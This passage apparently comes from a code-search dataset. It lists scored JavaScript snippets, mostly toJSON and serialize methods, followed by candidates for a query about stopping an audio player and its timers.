this.fullName,\n tripleNumber: this.tripleNumber\n };\n }", "title": "" }, { "docid": "c01ff401efb3a61403dfb95de59995ff", "score": "0.5445365", "text": "toJSON() {\n const map = {\n version: this._version,\n sources: this._sources.toArray(),\n names: this._names.toArray(),\n mappings: this._serializeMappings()\n };\n if (this._file != null) {\n map.file = this._file;\n }\n if (this._sourceRoot != null) {\n map.sourceRoot = this._sourceRoot;\n }\n if (this._sourcesContents) {\n map.sourcesContent = this._generateSourcesContent(map.sources, map.sourceRoot);\n }\n\n return map;\n }", "title": "" }, { "docid": "c01ff401efb3a61403dfb95de59995ff", "score": "0.5445365", "text": "toJSON() {\n const map = {\n version: this._version,\n sources: this._sources.toArray(),\n names: this._names.toArray(),\n mappings: this._serializeMappings()\n };\n if (this._file != null) {\n map.file = this._file;\n }\n if (this._sourceRoot != null) {\n map.sourceRoot = this._sourceRoot;\n }\n if (this._sourcesContents) {\n map.sourcesContent = this._generateSourcesContent(map.sources, map.sourceRoot);\n }\n\n return map;\n }", "title": "" }, { "docid": "8f5d19ee22604aa88319f4a94b700cdd", "score": "0.54371274", "text": "toJSON() {\n return toJSON(this);\n }", "title": "" }, { "docid": "35b44a88402411369d481f8f9fd5fda0", "score": "0.5435048", "text": "toJsonObj() {\n const jsonObj = {\n id: toJS(this.id),\n type: toJS(this.type),\n set: toJS(this.set),\n curieEnabled: toJS(this.curieEnabled),\n deleted: toJS(this.deleted),\n };\n this.properties.forEach((prop) => {\n jsonObj[prop.key] = prop.value;\n });\n if (this.name !== '') {\n jsonObj.name = toJS(this.name);\n }\n if (this.curie.length > 0) {\n jsonObj.curie = toJS(this.curie);\n }\n return jsonObj;\n }", "title": "" }, { "docid": "319ac1c1cdfd9169e8c20330686f1b18", "score": "0.5422554", "text": "toJSON() {\n return {\n id: this.id,\n selfUrl: this.selfUrl,\n time: this.time,\n thingLink: this.thingLink,\n locationsLink: this.locationsLink,\n \"@type\": \"HistoricalLocation\"\n };\n }", "title": "" }, { "docid": "16b62bd3cda1e4ddcfc35fec8dbcfb3d", "score": "0.54193866", "text": "toJSON() {\n return {\n task: this.task,\n assignee: this.assignee,\n id: this.id,\n state: this.state,\n };\n }", "title": "" }, { "docid": "8db0e0e464726b7042c1c7c68c926883", "score": "0.54151404", "text": "toJSON () {\n return {\n 'fieldValue': {\n 'id': this.id,\n 'contact': this.contact,\n 'field': this.field,\n 'value': this.value\n }\n }\n }", "title": "" }, { "docid": "f8e409c750c8be98c414c1edea2115f3", "score": "0.5415129", "text": "toJSON() {\n return {\n id: this.id,\n name: this.name,\n address: this.address,\n email: this.email,\n officeHours: this.officeHours.times,\n phone: this.phone,\n description: this.description,\n creatorId: this.creatorId,\n };\n }", "title": "" }, { "docid": "f2ff3294bc1235d3c90308275e30f6d6", "score": "0.5407146", "text": "toJSON() {\n return {\n title: this.get('title') || undefined,\n items: JSON.stringify(this.get('items')) || undefined,\n };\n }", "title": "" }, { "docid": "ec0baaf54c195caae2fc896796cba062", "score": "0.5393641", "text": "toJSON () {\n return this.toString()\n }", "title": "" }, { "docid": "ec0baaf54c195caae2fc896796cba062", "score": "0.5393641", "text": "toJSON () {\n return this.toString()\n }", "title": "" }, { "docid": "ec0baaf54c195caae2fc896796cba062", "score": "0.5393641", "text": "toJSON () {\n return this.toString()\n }", "title": "" }, { "docid": "5e18f22acf055c5bc3a2d93beb284bf1", "score": "0.53900844", "text": "toJson() {\n return {\n \"fromDate\": this.properties[\"fromDate\"],\n\t\t\t\"toDate\": this.properties[\"toDate\"],\n\t\t\t\"repaymentMethod\": this.properties[\"repaymentMethod\"],\n\t\t\t\"issuer\": this.properties[\"issuer\"],\n\t\t\t\"amountInvested\": this.properties[\"amountInvested\"],\n\t\t\t\"completedNetEarnings\": this.properties[\"completedNetEarnings\"],\n\t\t\t\"netEarnings\": this.properties[\"netEarnings\"],\n\t\t\t\"projectedNetAmount\": this.properties[\"projectedNetAmount\"],\n\t\t\t\"completedNetPayoutAmount\": this.properties[\"completedNetPayoutAmount\"],\n\t\t\t\"completedProjects\": this.properties[\"completedProjects\"],\n\t\t\t\"gainPercent\": this.properties[\"gainPercent\"],\n\t\t\t\"numOngoingProjects\": this.properties[\"numOngoingProjects\"],\n\t\t\t\"grossInterestRateStats\": this.properties[\"grossInterestRateStats\"],\n\t\t\t\"tenureStats\": this.properties[\"tenureStats\"],\n\t\t\t\"grossInterestRateAfterTenureStats\": this.properties[\"grossInterestRateAfterTenureStats\"],\n\t\t\t\"subscriptionDaysStats\": this.properties[\"subscriptionDaysStats\"],\n\t\t\t\"idleDaysStats\": this.properties[\"idleDaysStats\"]\n }\n }", "title": "" }, { "docid": "cd2bf97f188c2e611bb23b4a6a160499", "score": "0.53874665", "text": "toJSON() {\n return {\n r: this.r,\n g: this.g,\n b: this.b,\n };\n }", "title": "" }, { "docid": "3c2fac582c6e3fbd7971dd0a9fdc4121", "score": "0.53774863", "text": "toJSON(depth = 1, inlineResources = {}){\n /**\n * Converts a resource object into serializable JSON.\n * May fail to serialize recursive objects which are not instances of Resource\n * @param value - resource object\n * @param depth - depth of nested resources to output\n * @returns {*} JSON object without circular references *\n */\n function valueToJSON(value, depth) { return (value instanceof Resource)? value.toJSON(depth-1, inlineResources): value }\n\n /**\n * Serializes field value: array or object\n * @param value - resource field value\n * @param depth - depth of nested resources to output\n * @returns {*} JSON object or an array of JSON objects without circular references\n */\n function fieldToJSON(value, depth) { return value::isArray()? value.map(e => valueToJSON(e, depth)): valueToJSON(value, depth); }\n\n if (depth <= 0) {\n return this.fullID || this.id || null;\n }\n\n let res = {};\n const omitKeys = (this::keys())::difference(schemaClassModels[this.class].fieldNames).concat([$Field.viewObjects, $Field.infoFields, $Field.labels]);\n this::keys().filter(key => this[key] !== undefined && !omitKeys.includes(key)).forEach(key => {\n res[key] = fieldToJSON(this[key], (inlineResources[key] || depth) - 1);\n });\n return res;\n }", "title": "" }, { "docid": "65eddb2c53c7fdfc4400abe0700f69d5", "score": "0.5372624", "text": "toJSON() {\n return _.pick(this, this.constructor.fields);\n }", "title": "" }, { "docid": "30cf5a1b913343e5a0917621ca96e9e1", "score": "0.5367442", "text": "toJSON() {\n return {\n anchor: this.anchor,\n head: this.head\n };\n }", "title": "" }, { "docid": "4814b346273d6fb54505772174050e78", "score": "0.53639966", "text": "toJSON() {\n return this.toString();\n }", "title": "" }, { "docid": "143bf1040a00fbab330157fa7c65ee78", "score": "0.53553677", "text": "toJSON() {\n return {\n ranges: this.ranges.map(r => r.toJSON()),\n main: this.mainIndex\n };\n }", "title": "" }, { "docid": "a53cf16477466488b59cea315a7b1925", "score": "0.5345237", "text": "serialize() {\n const { id, createdAt, updatedAt } = this.attributes;\n const { relations } = this;\n\n return {\n id,\n relations,\n createdAt,\n updatedAt\n };\n }", "title": "" }, { "docid": "ea6c6fa820722ded2763a518a1ee3fcf", "score": "0.5325735", "text": "asJSON() {}", "title": "" }, { "docid": "9bdfd14bedce5ccdb2725573dd6db164", "score": "0.53228754", "text": "toJSON() {\n return (this);\n }", "title": "" }, { "docid": "3c748ed141c4365874c2b99d4a707f2b", "score": "0.5320715", "text": "toJSON() {\n return {\n termType: this.termType,\n subject: this.subject.toJSON(),\n predicate: this.predicate.toJSON(),\n object: this.object.toJSON(),\n graph: this.graph.toJSON(),\n };\n }", "title": "" }, { "docid": "5ec22ec153e46293bfc2e66df97088de", "score": "0.53137285", "text": "toJSON() {\n return {\n DowId: this.DowId,\n FirstName: this[FirstName],\n LastName: this[LastName]\n };\n }", "title": "" }, { "docid": "548036ade48b2ae8907c5850cfc30507", "score": "0.530284", "text": "toJSON() {\n\t\t\tconst res = ___default.pick(this, [\n\t\t\t\t\"id\",\n\t\t\t\t\"nodeID\",\n\t\t\t\t\"action.name\",\n\t\t\t\t\"event.name\",\n\t\t\t\t\"service.name\",\n\t\t\t\t\"service.version\",\n\t\t\t\t\"service.fullName\",\n\t\t\t\t\"options\",\n\t\t\t\t\"parentID\",\n\t\t\t\t\"caller\",\n\t\t\t\t\"level\",\n\t\t\t\t\"params\",\n\t\t\t\t\"meta\",\n\t\t\t\t//\"locals\",\n\t\t\t\t\"requestID\",\n\t\t\t\t\"tracing\",\n\t\t\t\t\"span\",\n\t\t\t\t\"needAck\",\n\t\t\t\t\"ackID\",\n\t\t\t\t\"eventName\",\n\t\t\t\t\"eventType\",\n\t\t\t\t\"eventGroups\",\n\t\t\t\t\"cachedResult\"\n\t\t\t]);\n\n\t\t\treturn res;\n\t\t}", "title": "" }, { "docid": "4f602f0739ad19bcd00996ac61aaf399", "score": "0.529372", "text": "toJSON(opt){\n const json = super.toJSON(opt);\n const sensitiveFields = this.constructor.sensitiveFields;\n if(Array.isArray(sensitiveFields)){\n for (const value of sensitiveFields) {\n if(typeof json[value] !== \"undefined\"){\n delete json[value]\n }\n }\n }\n return json\n }", "title": "" }, { "docid": "67113d67d89cb91f2b0e021b99b5c063", "score": "0.52917224", "text": "serialize(){\n let ownerId = null;\n if(this._owner){\n ownerId = this._owner.id;\n }\n let result = {\n type: this.type,\n id: this.id,\n properties: {},\n subparts: this.subparts.map(subpart => {\n return subpart.id;\n }),\n ownerId: ownerId\n };\n this.partProperties._properties.forEach(prop => {\n let name = prop.name;\n let value = prop.getValue(this);\n result.properties[name] = value;\n });\n return result;\n }", "title": "" }, { "docid": "374544e179178df2fa669cc872ec6ff6", "score": "0.52865803", "text": "toJSON() {\n const unorderedObj = class_transformer_1.classToPlain(this, {excludePrefixes: ['_']})\n return this.orderPlainObject(unorderedObj)\n }", "title": "" }, { "docid": "7d9240d4c3caa7622cffa7d7a0713285", "score": "0.5268557", "text": "serialize() {\n return JSON.stringify(this.toJSON());\n }", "title": "" }, { "docid": "6511301b150677e16695b248c4bf250b", "score": "0.52679104", "text": "toJSON() {\n return {\n type: this.type,\n state: this.state,\n source: this.source,\n zone: this.zone.name,\n runCount: this.runCount\n };\n }", "title": "" }, { "docid": "0b9856127d8701bdf16bef07d40cc917", "score": "0.5263597", "text": "toJson() {\n let predicates;\n let p;\n if (this.isComplex) {\n predicates = [];\n p = this.predicates;\n for (let i = 0; i < p.length; i++) {\n predicates.push(p[i].toJson());\n }\n }\n return {\n isComplex: this.isComplex,\n field: this.field,\n operator: this.operator,\n value: this.value,\n ignoreCase: this.ignoreCase,\n ignoreAccent: this.ignoreAccent,\n condition: this.condition,\n predicates: predicates\n };\n }", "title": "" }, { "docid": "0b9856127d8701bdf16bef07d40cc917", "score": "0.5263597", "text": "toJson() {\n let predicates;\n let p;\n if (this.isComplex) {\n predicates = [];\n p = this.predicates;\n for (let i = 0; i < p.length; i++) {\n predicates.push(p[i].toJson());\n }\n }\n return {\n isComplex: this.isComplex,\n field: this.field,\n operator: this.operator,\n value: this.value,\n ignoreCase: this.ignoreCase,\n ignoreAccent: this.ignoreAccent,\n condition: this.condition,\n predicates: predicates\n };\n }", "title": "" }, { "docid": "0b9856127d8701bdf16bef07d40cc917", "score": "0.5263597", "text": "toJson() {\n let predicates;\n let p;\n if (this.isComplex) {\n predicates = [];\n p = this.predicates;\n for (let i = 0; i < p.length; i++) {\n predicates.push(p[i].toJson());\n }\n }\n return {\n isComplex: this.isComplex,\n field: this.field,\n operator: this.operator,\n value: this.value,\n ignoreCase: this.ignoreCase,\n ignoreAccent: this.ignoreAccent,\n condition: this.condition,\n predicates: predicates\n };\n }", "title": "" }, { "docid": "63d626a792d18e5b018acb1b67f0e203", "score": "0.5259395", "text": "toJSON() {\n return this.toString();\n }", "title": "" }, { "docid": "1d57391d412a20e78e4fa7dc802e5209", "score": "0.5252887", "text": "toJSON(){\n let dateMacroProperties = DateMacros.prototype.toJSON.call(this);\n return { \n ...dateMacroProperties,\n totalMacrosId:this.totalMacrosId,\n servings:this.servings.reduce((acc, s)=> [...acc, returnImportantPropertiesFromServingsObject(s)], [])\n }\n }", "title": "" }, { "docid": "df4962de4ebb17166120656cbc57fbc8", "score": "0.5231316", "text": "toJSON() {\n const s = (v) => {\n if (v == null) {\n return null;\n }\n return v.toString();\n };\n return {\n type: this.type,\n to: this.to,\n // from: this.from,\n data: this.data,\n nonce: this.nonce,\n gasLimit: s(this.gasLimit),\n gasPrice: s(this.gasPrice),\n maxPriorityFeePerGas: s(this.maxPriorityFeePerGas),\n maxFeePerGas: s(this.maxFeePerGas),\n value: s(this.value),\n chainId: s(this.chainId),\n sig: this.signature ? this.signature.toJSON() : null,\n accessList: this.accessList\n };\n }", "title": "" }, { "docid": "408b6ec23954f2d66b34214db1fa6eef", "score": "0.52297324", "text": "toJSON() {\n return { \n id: this.id, \n description: this.description,\n quantity: this.quantity,\n }\n }", "title": "" }, { "docid": "54cf3f279159f878bbaaaff9d851446f", "score": "0.5229512", "text": "toJSON(){return Object.assign({name:this.name,message:this.message},this)}", "title": "" }, { "docid": "55c9ecf2a860d68372895b712aa1ff72", "score": "0.52267426", "text": "to_json() {\n let json = {\n meta: {\n //asset_root?\n //name?\n title: this.title || null,\n subtitle: this.subtitle || null,\n author: this.author || null,\n created: this.created,\n modified: Date.now(), // TODO actually set this correctly\n published: this.published,\n gleam_version: VERSION,\n //preview?\n //credits????\n width: this.width,\n height: this.height,\n },\n roles: [],\n steps: [],\n };\n\n for (let role of this.roles) {\n json.roles.push(role.to_json());\n }\n\n for (let step of this.steps) {\n json.steps.push([step.role.name, step.kind_name, ...step.args]);\n }\n\n return json;\n }", "title": "" }, { "docid": "b119ae96012f66b7b13a9f17e1d86dc1", "score": "0.5217947", "text": "toJSON() {\n\t\tvar obj = {}\n\t\tobj._id = this._id\n\t\tobj.dateUpdated = this.dateUpdated\n\t\tobj.dateCreated = this.dateCreated\n\t\treturn obj\n\t}", "title": "" }, { "docid": "8fa7774c7e5226c1b6920d31dc5153ea", "score": "0.52176374", "text": "toJSON() {\r\n let o = {\r\n chainLength: this.chainLength,\r\n timestamp: this.timestamp,\r\n transactions: Array.from(this.transactions.entries()),\r\n coinbaseTransactions: Array.from(this.coinbaseTransactions),\r\n prevBlockHash: this.prevBlockHash,\r\n proof: this.proof,\r\n cmlist: this.cmlist,\r\n snlist: this.snlist\r\n };\r\n return o;\r\n }", "title": "" }, { "docid": "e8217556c725694b821ec7bbc9d306f8", "score": "0.5209827", "text": "function toJSONHidden() {\n\t\treturn toJSONHidden;\n\t}", "title": "" }, { "docid": "5caf34f2147882a32dbc44f7a2755ea2", "score": "0.52098143", "text": "format(instance) {\n return instance.toJSON();\n }", "title": "" }, { "docid": "3ff0ae111ce1f3b565aca709eb5f2426", "score": "0.52009517", "text": "toJSON() {\r\n return this.exportVal();\r\n }", "title": "" }, { "docid": "ff9ecb9bb580fddd35143a8c6fb43f61", "score": "0.5193601", "text": "toJSON() {\n return {\n id: this.id,\n name: this.name,\n clr: this.clr,\n type: this.type,\n ready: this.ready,\n };\n }", "title": "" }, { "docid": "83bc05dcaf218d61ad92e98e030ac734", "score": "0.51854014", "text": "toJSON() {\n const serializeDefinition = ['object', 'array', 'string', 'number'].indexOf(typeof this.definition) === -1;\n\n return {\n typeName: this.typeName,\n definition: serializeDefinition ? this.definition.toJSON() : this.definition,\n };\n }", "title": "" }, { "docid": "338b12d468337eb80c213eac6a0bed5c", "score": "0.5182548", "text": "toJSON() {\n return {\n id: this.id,\n clr: this.clr,\n clrName: this.clrName\n };\n }", "title": "" }, { "docid": "f9caed8f1cbde2f55dfa1a56e9c63531", "score": "0.5174087", "text": "serializeSimple() {\n return { x: this.x, y: this.y };\n }", "title": "" }, { "docid": "49c071df08d2a822e7139d114189aebb", "score": "0.5166402", "text": "function serialize(instance, removeUndefined) {\n if (removeUndefined === void 0) { removeUndefined = true; }\n var json = {};\n var instanceName = instance.constructor.name;\n var baseClassName = Reflect.getMetadata(apiMapSerializable, instance.constructor);\n var apiMapInstanceName = \"\" + apiMap + instanceName;\n var hasMap = Reflect.hasMetadata(apiMapInstanceName, instance);\n var instanceMap = {};\n if (!hasMap && baseClassName === undefined) {\n return json;\n }\n else {\n instanceMap = Reflect.getMetadata(apiMapInstanceName, instance);\n }\n if (baseClassName !== undefined) {\n var baseClassMap = Reflect.getMetadata(\"\" + apiMap + baseClassName, instance);\n instanceMap = __assign({}, instanceMap, baseClassMap);\n }\n var instanceKeys = Object.keys(instance);\n Object.keys(instanceMap).forEach(function (key) {\n if (!instanceKeys.includes(key)) {\n return;\n }\n var data = convertPropertyToData(instance, key, instanceMap[key], removeUndefined);\n if (!removeUndefined || removeUndefined && data !== undefined) {\n var name_1 = instanceMap[key].name;\n if (instanceMap[key].nameSerializationHandlers) {\n for (var _i = 0, _a = instanceMap[key].nameSerializationHandlers; _i < _a.length; _i++) {\n var nameSerializationHandler = _a[_i];\n name_1 = nameSerializationHandler(instance, instanceMap[key]);\n }\n }\n json[name_1] = data;\n }\n });\n return json;\n}", "title": "" }, { "docid": "20de924c11fd3d5048d136d3fd324290", "score": "0.51618683", "text": "toJSON() {\n return Object.assign({}, this, {\n 'FavoriteColors': undefined,\n 'FavoriteColorsList': this.FavoriteColorsList,\n });\n }", "title": "" }, { "docid": "8c108f3da454a60f79092ddf109cc941", "score": "0.5150318", "text": "toString() {\n return JSON.stringify(this.toJSON());\n }", "title": "" }, { "docid": "8c108f3da454a60f79092ddf109cc941", "score": "0.5150318", "text": "toString() {\n return JSON.stringify(this.toJSON());\n }", "title": "" }, { "docid": "d7a19b5eae6d9cedafb0d3d793afb5d4", "score": "0.5145261", "text": "stageToJson(stage){\n var serialized = {}; //has two key-value pairs, player and actors\n\n //console.log(\"Converting player to JSON on server.\")\n //console.log(\"Player's position: x \" + String(stage.player.position.x) + \" y: \" + String(stage.player.position.y));\n //console.log(\"Player's velocity: x \" + String(stage.player.velocity.x) + \" y: \" + String(stage.player.velocity.y));\n\n serialized['player'] = this.playerToJson(stage.player);\n serialized['actors'] = [];\n //each element in actors is a JSON of an actor\n serialized[\"initState\"] = true; //signifies the first model that the client receives on connection.\n for(var i in stage.actors){\n switch(stage.actors[i].key){\n case 'tank':\n // the first actor added in model is always the player (tank)\n serialized['actors'].push(this.playerToJson(stage.actors[i]));\n case 'ball':\n serialized['actors'].push(this.ballToJson(stage.actors[i]));\n break;\n case 'box':\n serialized['actors'].push(this.boxToJson(stage.actors[i]));\n break;\n case 'opponent':\n serialized['actors'].push(this.opponentToJson(stage.actors[i]));\n break;\n case 'bullet':\n serialized['actors'].push(this.bulletToJson(stage.actors[i]));\n break;\n default:\n break;\n }\n }\n return serialized;\n }", "title": "" }, { "docid": "2aed24da4139397b3b9348014c421ed5", "score": "0.5143235", "text": "serialize() {\n var uberModel = [];\n var model = surfaceModel.serialize();\n model[Object.keys(model)[0]].id = Constants.SVG_SURFACE_ID;\n uberModel.push(model);\n\n this.models.map(m => {\n var model = m.model.serialize();\n model[Object.keys(model)[0]].id = m.id;\n uberModel.push(model);\n });\n\n return JSON.stringify({ model: uberModel, connections: this.connections });\n }", "title": "" }, { "docid": "75367206930d1f0eb29b6c475f8482ab", "score": "0.5138139", "text": "toJSON () {\n const json = super.toJSON()\n json.color = this.color\n return json\n }", "title": "" }, { "docid": "2d77563a03f2dd09b45c27063a2e4f86", "score": "0.5128427", "text": "serialize(){\n let result = {\n type: this.type,\n id: this.id,\n properties: {},\n subparts: this.subparts.map(subpart => {\n return subpart.id;\n }),\n ownerId: null,\n loadedStacks: (this.loadedStacks.map(stack => {\n return stack.id;\n })),\n };\n\n // Serialize current part properties\n // values\n this.partProperties._properties.forEach(prop => {\n let name = prop.name;\n let value = prop.getValue(this);\n result.properties[name] = value;\n });\n return result;\n }", "title": "" }, { "docid": "2192d7a8540ec1499036fedd152a72e0", "score": "0.51224214", "text": "transform(model) {\n return { ...model.toJSON() };\n }", "title": "" }, { "docid": "2f3597a7c04ffbe315de8cb0ddbfca80", "score": "0.51153195", "text": "toJSON () {\n return 'a'\n }", "title": "" }, { "docid": "b3ee362cd6686eff864753cceb30b481", "score": "0.51109403", "text": "getObjectRepresentation() {\n\n \t\tlet retVal = {};\n\n \t\tfor(let [property, value] of this._propertyRepository.entries()) {\n \t\t\t\n \t\t\tif(!BaseAnnotation.transientProperties.has(property)) {\n\n \t\t\t\tif(typeof value == 'object' && typeof value['getObjectRepresentation'] == 'function')\n \t\t\t\t\tretVal[property] = value.getObjectRepresentation();\n \t\t\t\telse\n \t\t\t\t\tretVal[property] = value;\n \t\t\t}\n \t\t}\n\n \t\treturn retVal;\n \t}", "title": "" }, { "docid": "5908e54a7ab8c89363d338e503d15942", "score": "0.51073366", "text": "function serializeItem() {\n return {\n x: this.x,\n y: this.y,\n ...this.props\n }\n }", "title": "" }, { "docid": "d8bfc5743fb744f1f7dfcefba78ae0cc", "score": "0.50929135", "text": "toJSON() {\n return {\n options: this.options,\n type: this.type\n };\n }", "title": "" }, { "docid": "289e98a1f67fe2d1109d42f0faae326a", "score": "0.50920963", "text": "toString() {\n\t return JSON.stringify(this.toJSON());\n\t }", "title": "" }, { "docid": "cae450b9dad82bf5a4c233c7c36143f5", "score": "0.5089061", "text": "toJSON()\n {\n return {\n \"name\" : this._name, \n \"corners\" : this._corners, \n \"datetime\" : this._datetime, \n \"area\" : this._area,\n \"perimeter\" : this._perimeter\n };\n }", "title": "" }, { "docid": "f9c2a77e4fb51e821c54f9024cc1f721", "score": "0.5086247", "text": "asJsonPart(...params) {\n return `, \"positionOffset\": [${JSON.stringify(\n (params[0] == null ? this.positionOffset : params[0])[0]\n )}, ${JSON.stringify(\n (params[0] == null ? this.positionOffset : params[0])[1]\n )}], \"editorOnly\": ${JSON.stringify(\n (params[1] == null ? this.editorOnly : params[1]) ? \"Enabled\" : \"Disabled\"\n )}`;\n }", "title": "" }, { "docid": "daef448d4f5e84d8a25eb62a46d4be34", "score": "0.5086151", "text": "toParams() {\n return this.toJS();\n }", "title": "" }, { "docid": "ef250c20dab3a781999afdd917c46a48", "score": "0.50756884", "text": "toJSON() {\n return { kind: this.kind, technique: this.technique };\n }", "title": "" } ]
dee3a2905d8232a8630b7ea7adea90ce
handles the action after the audio player has stopped playing tasks a. update the view to countdown for 10 seconds b. send the results after 10 seconds c. Change the button to stop
[ { "docid": "f2d64a07d8cc0569e2191ea3e550a691", "score": "0.66273195", "text": "function uncleStopped() {\n changeBtn(\"timer\");\n setTimeout(function() {\n countDown(10);\n }, 1000);\n }", "title": "" } ]
[ { "docid": "87a017b56ee4e654928665f98cdc5dc0", "score": "0.6878773", "text": "function stopped() {\n divPlaybackControl.onclick = play;\n divPlaybackControl.title = \"Play\";\n divText.classList.remove(\"progressBar\");\n divText.setAttribute(\"style\", \"\");\n clearCanvas();\n }", "title": "" }, { "docid": "5c5a834dc7345a38972543aaa1aee8ea", "score": "0.66322416", "text": "stop(){\n //console.log('Stopped: ' + this.songArray[0].name);\n this.player.pause();\n this.player.currentTime = 0;\n }", "title": "" }, { "docid": "30be649347606bf47395e74bd256ca7d", "score": "0.65601325", "text": "stopPlaying() {\n this.setState({show: this.createMainMenu()\n , customPairAmount: ''\n , customMoveLimit: ''\n , customTimeLimit: ''})\n this.fetchHighscores();\n }", "title": "" }, { "docid": "a11f3ffb16cc3ceaba80a33ef07529ed", "score": "0.6556046", "text": "function BeginStopTime() {\n document.getElementById(\"start\").addEventListener(\"click\", function() {\n clearTimeout(timer);\n var audio = document.getElementById(\"bgMusic\");\n if (count != 30) {\n stopMusic();\n clear();\n show();\n score = 0;\n document.getElementById(\"score\").value = \"0\";\n } else {\n statusSetting();\n score = 0;\n document.getElementById(\"score\").value = \"0\";\n timeCount();\n audio.play();\n }\n })\n}", "title": "" }, { "docid": "359e8e4639aa6f3ad05346a62993b266", "score": "0.65328264", "text": "stop() {\n // Stop playing\n this._playing = false;\n }", "title": "" }, { "docid": "8b8a8aff33a42b6d256abcb20d280c5f", "score": "0.65015846", "text": "giveup() {\n if (this.props.limitedTime) {\n clearInterval(this.interval);\n }\n\n this.props.stopPlaying();\n }", "title": "" }, { "docid": "e0d1056ce7601ae5a00140b6b3a1105c", "score": "0.64864427", "text": "function stopTimer() {\n\t\t\t/* toggle start\\stop button */\n\t\t\t$scope.mode = 'Play';\n\t\t\t$scope.icon = 'icon-play';\n\n\t\t\t/* stop timeout service */\n\t\t\t$timeout.cancel(tmPromise);\n\t\t}", "title": "" }, { "docid": "18fe72986f73561fa8120ac750f0e8b8", "score": "0.645869", "text": "function stop() {\n clearInterval(timer);\n\n // change the button display\n playButton.innerText = \"Stopping...\";\n playButton.onclick = null;\n\n // fade out master volume...\n line(masterGainNode.gain, null, 0, 1, () => {\n\n // ...then turn off all oscillators and clear `oscMap`\n stopAllNotes();\n\n // change the button display\n playButton.innerText = \"Play\";\n playButton.style.backgroundColor = \"rgb(12, 164, 202)\";\n playButton.onclick = play;\n });\n}", "title": "" }, { "docid": "626ead6cacbd8cda05b40adbcc639d5b", "score": "0.63877404", "text": "stop() {\n this.reset();\n this.isPlaying = false;\n this.isPaused = false;\n this.isDone = false;\n }", "title": "" }, { "docid": "1d4e1aa25a3801ee95ec66091fefd092", "score": "0.6379509", "text": "function stop() {\r\n if (isOn) {\r\n tstartStop.textContent = \"Start\"\r\n isOn = false;\r\n clearInterval(tinterval);\r\n clearInterval(talertinterval);\r\n ttimer.textContent = \"00 : 00 : 00\";\r\n seconds = 0; minutes = 0; hours = 0;\r\n audio.pause();\r\n audio.currentTime = 0;\r\n console.log(audio.currentTime);\r\n }\r\n}", "title": "" }, { "docid": "757d47eefdbfea89acb2b347190ea2ee", "score": "0.63784266", "text": "processStartButton() {\n\t\tclearTimeout(this.timer);\n\t\tthis.timer = null;\n\t\tthis.game.switchScreens('play');\n\t}", "title": "" }, { "docid": "177aeb735a76306494268637776368a0", "score": "0.6333692", "text": "stopPlay() {\n const howler = this.getHowler()\n howler.pause()\n\n this.props.dispatch({ type: 'STOP_PLAYING' })\n\n this.capture(CAPTURE_TYPES.PAUSE, {\n pos: this.getSeek()\n })\n }", "title": "" }, { "docid": "8fce96f444d564fbb95f04329ce0c43a", "score": "0.6327608", "text": "function stop() {\r\n document.getElementById(\"data\").rows[\"seconds\"].innerHTML = \"<td>Time Elapsed:</td><td>15 seconds</td>\";\r\n document.getElementById(\"data\").rows[\"longitude\"].innerHTML = \"<td>Longitude:</td><td>0</td>\";\r\n document.getElementById(\"startButton\").disabled = false;\r\n document.getElementById(\"stopButton\").disabled = true;\r\n mySound = new sound(\"stop.mp3\");\r\n mySound.play();\r\n}", "title": "" }, { "docid": "6ace610cb3112b4d5ccd9355dd7c6d54", "score": "0.6323169", "text": "function stop(){\n clearInterval(playing);\n }", "title": "" }, { "docid": "1ed60c776897afd00a20410a20e9deb3", "score": "0.6307224", "text": "function stopSong(){\r\n activeSong.currentTime = 0;\r\n activeSong.pause();\r\n}", "title": "" }, { "docid": "0743578afdd8f69d8e52fdb763017326", "score": "0.62994015", "text": "function stopRT() {\n\tif(debug) console.log(\"stopRT. playStr: \"+playStr);\n\tif(intervalID != 0) clearInterval(intervalID);\n\tintervalID = 0;\n\tfor(var i=0; i<plots.length; i++) plots[i].stop(); \n\tdocument.getElementById('play').innerHTML = playStr;\n\tsingleStep = true;\t\t// mjm 7/30/15\n}", "title": "" }, { "docid": "740bf3cd45ac2b508191e34fee682598", "score": "0.62760943", "text": "function update_second(){\n\tif (song[index_no].ended) {\n btn[index_no].innerHTML = \"<i class='bx bx-play'></i>\";\n clearInterval(update_second);\n }\n }", "title": "" }, { "docid": "1ad4752942aeafb3782fe6ed08169c62", "score": "0.62739366", "text": "function stopSong(){\n activeSong.currentTime = 0;\n activeSong.pause();\n}", "title": "" }, { "docid": "0fe657eaf5c518c59dadcaebf889920c", "score": "0.6270455", "text": "function onPlayStop(){\n\t\t\n\t\tg_objThis.trigger(t.events.PLAY_STOP);\n\t\t\n\t\tif(g_objButtonClose)\n\t\t\tg_objButtonClose.show();\n\t}", "title": "" }, { "docid": "f71cd6fd8d8c766df387fceafca38c7c", "score": "0.62609977", "text": "stopFtn() {\n\tthis.actions.stop();\n\tclearTimeout(this.timer);\n }", "title": "" }, { "docid": "95f5baf230b3ffe324441cedf058576c", "score": "0.62515634", "text": "stop() {\n if(this.state.loaded) {\n this.audio.pause();\n this.audio.currentTime = 0;\n }\n }", "title": "" }, { "docid": "8e29a58eca7f7e3fa39fc9880fc4843a", "score": "0.62501246", "text": "function stopPlayerProgress () {\n clearProgress();\n }", "title": "" }, { "docid": "4e6f1559492b26ef4785ecc7ed848921", "score": "0.6246442", "text": "function stopBtnPress()\r\n{\r\n\tslots[lastStopped].setSpinning(false);\r\n\tif(lastStopped < 2)\r\n\t\tlastStopped++;\r\n\telse\r\n\t\tlastStopped = 0;\r\n}", "title": "" }, { "docid": "44c6bf4844f88935d8ced61e33455e54", "score": "0.6240017", "text": "handlePlay() {\n RAG.speech.stop();\n this.btnPlay.disabled = true;\n // Has to execute on a delay, otherwise native speech cancel becomes unreliable\n window.setTimeout(this.handlePlay2.bind(this), 200);\n }", "title": "" }, { "docid": "97dbf4dcab10fd89e5042e501210b053", "score": "0.62167567", "text": "stop(){\n this.isPlaying = false;\n }", "title": "" }, { "docid": "203b514c795ec8adab31bf8c849d6f67", "score": "0.62127095", "text": "function stopsPlaybackOptions(){\n $(\".question\").click(function(){\n $(\"#mySound\")[0].pause()\n responsiveVoice.cancel();\n });\n}", "title": "" }, { "docid": "e5f57d2f10b02df9ddb8d863ef19c007", "score": "0.62076974", "text": "reset() {\n cov_1q5rv9i0dz().f[0]++;\n cov_1q5rv9i0dz().s[0]++;\n // stop();\n localStorage.setItem('stop', 'true');\n const taskList = (cov_1q5rv9i0dz().s[1]++, Array.from(document.getElementById('task-list-elements').getElementsByTagName('task-item')));\n cov_1q5rv9i0dz().s[2]++;\n\n for (let i = 